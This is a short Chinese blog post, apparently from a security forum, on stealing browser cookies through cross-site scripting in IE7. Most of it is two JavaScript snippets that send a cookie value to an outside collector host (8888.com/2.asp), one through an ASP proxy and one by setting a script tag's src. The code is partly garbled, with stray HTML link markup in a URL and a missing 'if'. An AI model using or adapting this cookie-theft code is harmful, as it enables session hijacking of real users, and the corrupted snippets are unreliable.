作者:lcx
网上的很多文章提到的利用ajax盗取cookie的代码经我测试不可行。研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码:
<script> function getXmlHttpRequest(){ if(window.ActiveXObject){ var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for(var i=0;i<iearr .length;i++) { var xmlhttp= new ActiveXObject(ieArr[i]); } return xmlhttp; } else if(window.XMLHttpRequest){ return new XMLHttpRequest(); } } var xmlHttp=getXmlHttpRequest(); xmlHttp.Open("get","<a href="http://192.168.8.108/asp/web.asp?url=http://87487575.com/2.asp?%20=mmm%22,true">http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true); xmlHttp.send(null) </iearr></script>
其中web.asp是一个asp代理。
这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行。
另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码:
<script LANGUAGE="Javascript" src="" id="get"> </script> <script LANGUAGE="Javascript"> <!-- function get(url) { var obj = document.getElementById("get"); obj.src = url; (obj.readStatus == 200) { eval(alert("ok")); } } get("http://8888.com/2.asp?cookie=12345678") /*function query() { get("http://8888.com/web/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123" } //--> */ </script>
至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论